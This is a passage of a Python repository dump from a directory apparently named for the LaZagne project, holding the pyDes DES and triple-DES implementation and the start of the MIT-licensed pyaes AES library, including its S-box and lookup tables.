15, 55, 23, 63, 31, 38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29, 36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27, 34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25, 32, 0, 40, 8, 48, 16, 56, 24 ] # Type of crypting being done ENCRYPT = 0x00 DECRYPT = 0x01 # Initialisation def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): # Sanity checking of arguments. if len(key) != 8: raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.") _baseDes.__init__(self, mode, IV, pad, padmode) self.key_size = 8 self.L = [] self.R = [] self.Kn = [[0] * 48] * 16 # 16 48-bit keys (K1 - K16) self.final = [] self.setKey(key) def setKey(self, key): """Will set the crypting key for this object. Must be 8 bytes.""" _baseDes.setKey(self, key) self.__create_sub_keys() def __String_to_BitList(self, data): """Turn the string data, into a list of bits (1, 0)'s""" if _pythonMajorVersion < 3: # Turn the strings into integers. Python 3 uses a bytes # class, which already has this behaviour. data = [ord(c) for c in data] l = len(data) * 8 result = [0] * l pos = 0 for ch in data: i = 7 while i >= 0: if ch & (1 << i) != 0: result[pos] = 1 else: result[pos] = 0 pos += 1 i -= 1 return result def __BitList_to_String(self, data): """Turn the list of bits -> data, into a string""" result = [] pos = 0 c = 0 while pos < len(data): c += data[pos] << (7 - (pos % 8)) if (pos % 8) == 7: result.append(c) c = 0 pos += 1 if _pythonMajorVersion < 3: return ''.join([chr(c) for c in result]) else: return bytes(result) def __permutate(self, table, block): """Permutate this block with the specified table""" return list(map(lambda x: block[x], table)) # Transform the secret key, so that it is ready for data processing # Create the 16 subkeys, K[1] - K[16] def __create_sub_keys(self): """Create the 16 subkeys K[1] to K[16] from the given key""" key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey())) i = 0 # Split into Left and Right sections self.L = key[:28] self.R = key[28:] while i < 16: j = 0 # Perform circular left shifts while j < des.__left_rotations[i]: self.L.append(self.L[0]) del self.L[0] self.R.append(self.R[0]) del self.R[0] j += 1 # Create one of the 16 subkeys through pc2 permutation self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R) i += 1 # Main part of the encryption algorithm, the number cruncher :) def __des_crypt(self, block, crypt_type): """Crypt the block of data through DES bit-manipulation""" block = self.__permutate(des.__ip, block) self.L = block[:32] self.R = block[32:] # Encryption starts from Kn[1] through to Kn[16] if crypt_type == des.ENCRYPT: iteration = 0 iteration_adjustment = 1 # Decryption starts from Kn[16] down to Kn[1] else: iteration = 15 iteration_adjustment = -1 i = 0 while i < 16: # Make a copy of R[i-1], this will later become L[i] tempR = self.R[:] # Permutate R[i - 1] to start creating R[i] self.R = self.__permutate(des.__expansion_table, self.R) # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration])) B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]] # Optimization: Replaced below commented code with above # j = 0 # B = [] # while j < len(self.R): # self.R[j] = self.R[j] ^ self.Kn[iteration][j] # j += 1 # if j % 6 == 0: # B.append(self.R[j-6:j]) # Permutate B[1] to B[8] using the S-Boxes j = 0 Bn = [0] * 32 pos = 0 while j < 8: # Work out the offsets m = (B[j][0] << 1) + B[j][5] n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4] # Find the permutation value v = des.__sbox[j][(m << 4) + n] # Turn value into bits, add it to result: Bn Bn[pos] = (v & 8) >> 3 Bn[pos + 1] = (v & 4) >> 2 Bn[pos + 2] = (v & 2) >> 1 Bn[pos + 3] = v & 1 pos += 4 j += 1 # Permutate the concatination of B[1] to B[8] (Bn) self.R = self.__permutate(des.__p, Bn) # Xor with L[i - 1] self.R = list(map(lambda x, y: x ^ y, self.R, self.L)) # Optimization: This now replaces the below commented code # j = 0 # while j < len(self.R): # self.R[j] = self.R[j] ^ self.L[j] # j += 1 # L[i] becomes R[i - 1] self.L = tempR i += 1 iteration += iteration_adjustment # Final permutation of R[16]L[16] self.final = self.__permutate(des.__fp, self.R + self.L) return self.final # Data to be encrypted/decrypted def crypt(self, data, crypt_type): """Crypt the data in blocks, running it through des_crypt()""" # Error check the data if not data: return '' if len(data) % self.block_size != 0: if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks raise ValueError( "Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.") if not self.getPadding(): raise ValueError("Invalid data length, data must be a multiple of " + str( self.block_size) + " bytes\n. Try setting the optional padding character") else: data += (self.block_size - (len(data) % self.block_size)) * self.getPadding() # print "Len of data: %f" % (len(data) / self.block_size) if self.getMode() == CBC: if self.getIV(): iv = self.__String_to_BitList(self.getIV()) else: raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering") # Split the data into blocks, crypting each one seperately i = 0 dict = {} result = [] # cached = 0 # lines = 0 while i < len(data): # Test code for caching encryption results # lines += 1 # if dict.has_key(data[i:i+8]): # print "Cached result for: %s" % data[i:i+8] # cached += 1 # result.append(dict[data[i:i+8]]) # i += 8 # continue block = self.__String_to_BitList(data[i:i + 8]) # Xor with IV if using CBC mode if self.getMode() == CBC: if crypt_type == des.ENCRYPT: block = list(map(lambda x, y: x ^ y, block, iv)) # j = 0 # while j < len(block): # block[j] = block[j] ^ iv[j] # j += 1 processed_block = self.__des_crypt(block, crypt_type) if crypt_type == des.DECRYPT: processed_block = list(map(lambda x, y: x ^ y, processed_block, iv)) # j = 0 # while j < len(processed_block): # processed_block[j] = processed_block[j] ^ iv[j] # j += 1 iv = block else: iv = processed_block else: processed_block = self.__des_crypt(block, crypt_type) # Add the resulting crypted block to our list # d = self.__BitList_to_String(processed_block) # result.append(d) result.append(self.__BitList_to_String(processed_block)) # dict[data[i:i+8]] = d i += 8 # print "Lines: %d, cached: %d" % (lines, cached) # Return the full crypted string if _pythonMajorVersion < 3: return ''.join(result) else: return bytes.fromhex('').join(result) def encrypt(self, data, pad=None, padmode=None): """encrypt(data, [pad], [padmode]) -> bytes data : Bytes to be encrypted pad : Optional argument for encryption padding. Must only be one byte padmode : Optional argument for overriding the padding mode. The data must be a multiple of 8 bytes and will be encrypted with the already specified key. Data does not have to be a multiple of 8 bytes if the padding character is supplied, or the padmode is set to PAD_PKCS5, as bytes will then added to ensure the be padded data is a multiple of 8 bytes. """ data = self._guardAgainstUnicode(data) if pad is not None: pad = self._guardAgainstUnicode(pad) data = self._padData(data, pad, padmode) return self.crypt(data, des.ENCRYPT) def decrypt(self, data, pad=None, padmode=None): """decrypt(data, [pad], [padmode]) -> bytes data : Bytes to be decrypted pad : Optional argument for decryption padding. Must only be one byte padmode : Optional argument for overriding the padding mode. The data must be a multiple of 8 bytes and will be decrypted with the already specified key. In PAD_NORMAL mode, if the optional padding character is supplied, then the un-encrypted data will have the padding characters removed from the end of the bytes. This pad removal only occurs on the last 8 bytes of the data (last data block). In PAD_PKCS5 mode, the special padding end markers will be removed from the data after decrypting. """ data = self._guardAgainstUnicode(data) if pad is not None: pad = self._guardAgainstUnicode(pad) data = self.crypt(data, des.DECRYPT) return self._unpadData(data, pad, padmode) ############################################################################# # Triple DES # ############################################################################# class triple_des(_baseDes): """Triple DES encryption/decrytpion class This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or the DES-EDE2 (when a 16 byte key is supplied) encryption methods. Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. pyDes.des(key, [mode], [IV]) key -> Bytes containing the encryption key, must be either 16 or 24 bytes long mode -> Optional argument for encryption type, can be either pyDes.ECB (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) IV -> Optional Initial Value bytes, must be supplied if using CBC mode. Must be 8 bytes in length. pad -> Optional argument, set the pad character (PAD_NORMAL) to use during all encrypt/decrypt operations done with this instance. padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5) to use during all encrypt/decrypt operations done with this instance. """ def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): _baseDes.__init__(self, mode, IV, pad, padmode) self.setKey(key) def setKey(self, key): """Will set the crypting key for this object. Either 16 or 24 bytes long.""" self.key_size = 24 # Use DES-EDE3 mode if len(key) != self.key_size: if len(key) == 16: # Use DES-EDE2 mode self.key_size = 16 else: raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long") if self.getMode() == CBC: if not self.getIV(): # Use the first 8 bytes of the key self._iv = key[:self.block_size] if len(self.getIV()) != self.block_size: raise ValueError("Invalid IV, must be 8 bytes in length") self.__key1 = des(key[:8], self._mode, self._iv, self._padding, self._padmode) self.__key2 = des(key[8:16], self._mode, self._iv, self._padding, self._padmode) if self.key_size == 16: self.__key3 = self.__key1 else: self.__key3 = des(key[16:], self._mode, self._iv, self._padding, self._padmode) _baseDes.setKey(self, key) # Override setter methods to work on all 3 keys. def setMode(self, mode): """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" _baseDes.setMode(self, mode) for key in (self.__key1, self.__key2, self.__key3): key.setMode(mode) def setPadding(self, pad): """setPadding() -> bytes of length 1. Padding character.""" _baseDes.setPadding(self, pad) for key in (self.__key1, self.__key2, self.__key3): key.setPadding(pad) def setPadMode(self, mode): """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" _baseDes.setPadMode(self, mode) for key in (self.__key1, self.__key2, self.__key3): key.setPadMode(mode) def setIV(self, IV): """Will set the Initial Value, used in conjunction with CBC mode""" _baseDes.setIV(self, IV) for key in (self.__key1, self.__key2, self.__key3): key.setIV(IV) def encrypt(self, data, pad=None, padmode=None): """encrypt(data, [pad], [padmode]) -> bytes data : bytes to be encrypted pad : Optional argument for encryption padding. Must only be one byte padmode : Optional argument for overriding the padding mode. The data must be a multiple of 8 bytes and will be encrypted with the already specified key. Data does not have to be a multiple of 8 bytes if the padding character is supplied, or the padmode is set to PAD_PKCS5, as bytes will then added to ensure the be padded data is a multiple of 8 bytes. """ ENCRYPT = des.ENCRYPT DECRYPT = des.DECRYPT data = self._guardAgainstUnicode(data) if pad is not None: pad = self._guardAgainstUnicode(pad) # Pad the data accordingly. data = self._padData(data, pad, padmode) if self.getMode() == CBC: self.__key1.setIV(self.getIV()) self.__key2.setIV(self.getIV()) self.__key3.setIV(self.getIV()) i = 0 result = [] while i < len(data): block = self.__key1.crypt(data[i:i + 8], ENCRYPT) block = self.__key2.crypt(block, DECRYPT) block = self.__key3.crypt(block, ENCRYPT) self.__key1.setIV(block) self.__key2.setIV(block) self.__key3.setIV(block) result.append(block) i += 8 if _pythonMajorVersion < 3: return ''.join(result) else: return bytes.fromhex('').join(result) else: data = self.__key1.crypt(data, ENCRYPT) data = self.__key2.crypt(data, DECRYPT) return self.__key3.crypt(data, ENCRYPT) def decrypt(self, data, pad=None, padmode=None): """decrypt(data, [pad], [padmode]) -> bytes data : bytes to be encrypted pad : Optional argument for decryption padding. Must only be one byte padmode : Optional argument for overriding the padding mode. The data must be a multiple of 8 bytes and will be decrypted with the already specified key. In PAD_NORMAL mode, if the optional padding character is supplied, then the un-encrypted data will have the padding characters removed from the end of the bytes. This pad removal only occurs on the last 8 bytes of the data (last data block). In PAD_PKCS5 mode, the special padding end markers will be removed from the data after decrypting, no pad character is required for PAD_PKCS5. """ ENCRYPT = des.ENCRYPT DECRYPT = des.DECRYPT data = self._guardAgainstUnicode(data) if pad is not None: pad = self._guardAgainstUnicode(pad) if self.getMode() == CBC: self.__key1.setIV(self.getIV()) self.__key2.setIV(self.getIV()) self.__key3.setIV(self.getIV()) i = 0 result = [] while i < len(data): iv = data[i:i + 8] block = self.__key3.crypt(iv, DECRYPT) block = self.__key2.crypt(block, ENCRYPT) block = self.__key1.crypt(block, DECRYPT) self.__key1.setIV(iv) self.__key2.setIV(iv) self.__key3.setIV(iv) result.append(block) i += 8 if _pythonMajorVersion < 3: data = ''.join(result) else: data = bytes.fromhex('').join(result) else: data = self.__key3.crypt(data, DECRYPT) data = self.__key2.crypt(data, ENCRYPT) data = self.__key1.crypt(data, DECRYPT) return self._unpadData(data, pad, padmode) ================================================ FILE: Mac/lazagne/config/crypto/pyaes/__init__.py ================================================ # The MIT License (MIT) # # Copyright (c) 2014 Richard Moore # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # This is a pure-Python implementation of the AES algorithm and AES common # modes of operation. # See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard # See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation # Supported key sizes: # 128-bit # 192-bit # 256-bit # Supported modes of operation: # ECB - Electronic Codebook # CBC - Cipher-Block Chaining # CFB - Cipher Feedback # OFB - Output Feedback # CTR - Counter # See the README.md for API details and general information. # Also useful, PyCrypto, a crypto library implemented in C with Python bindings: # https://www.dlitz.net/software/pycrypto/ VERSION = [1, 3, 0] from .aes import AES, AESModeOfOperationCTR, AESModeOfOperationCBC, AESModeOfOperationCFB, AESModeOfOperationECB, AESModeOfOperationOFB, AESModesOfOperation, Counter from .blockfeeder import decrypt_stream, Decrypter, encrypt_stream, Encrypter from .blockfeeder import PADDING_NONE, PADDING_DEFAULT ================================================ FILE: Mac/lazagne/config/crypto/pyaes/aes.py ================================================ # The MIT License (MIT) # # Copyright (c) 2014 Richard Moore # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # This is a pure-Python implementation of the AES algorithm and AES common # modes of operation. # See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard # Honestly, the best description of the modes of operations are the wonderful # diagrams on Wikipedia. They explain in moments what my words could never # achieve. Hence the inline documentation here is sparer than I'd prefer. # See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation # Also useful, PyCrypto, a crypto library implemented in C with Python bindings: # https://www.dlitz.net/software/pycrypto/ # Supported key sizes: # 128-bit # 192-bit # 256-bit # Supported modes of operation: # ECB - Electronic Codebook # CBC - Cipher-Block Chaining # CFB - Cipher Feedback # OFB - Output Feedback # CTR - Counter # See the README.md for API details and general information. import copy import struct __all__ = ["AES", "AESModeOfOperationCTR", "AESModeOfOperationCBC", "AESModeOfOperationCFB", "AESModeOfOperationECB", "AESModeOfOperationOFB", "AESModesOfOperation", "Counter"] def _compact_word(word): return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3] def _string_to_bytes(text): return list(ord(c) for c in text) def _bytes_to_string(binary): return "".join(chr(b) for b in binary) def _concat_list(a, b): return a + b # Python 3 compatibility try: xrange except NameError: xrange = range # Python 3 supports bytes, which is already an array of integers def _string_to_bytes(text): if isinstance(text, bytes): return text return [ord(c) for c in text] # In Python 3, we return bytes def _bytes_to_string(binary): return bytes(binary) # Python 3 cannot concatenate a list onto a bytes, so we bytes-ify it first def _concat_list(a, b): return a + bytes(b) # Based *largely* on the Rijndael implementation # See: http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf class AES(object): '''Encapsulates the AES block cipher. You generally should not need this. Use the AESModeOfOperation classes below instead.''' # Number of rounds by keysize number_of_rounds = {16: 10, 24: 12, 32: 14} # Round constant words rcon = [ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 ] # S-box and Inverse S-box (S is for Substitution) S = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 ] Si =[ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d ] # Transformations for encryption T1 = [ 0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a ] T2 = [ 0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 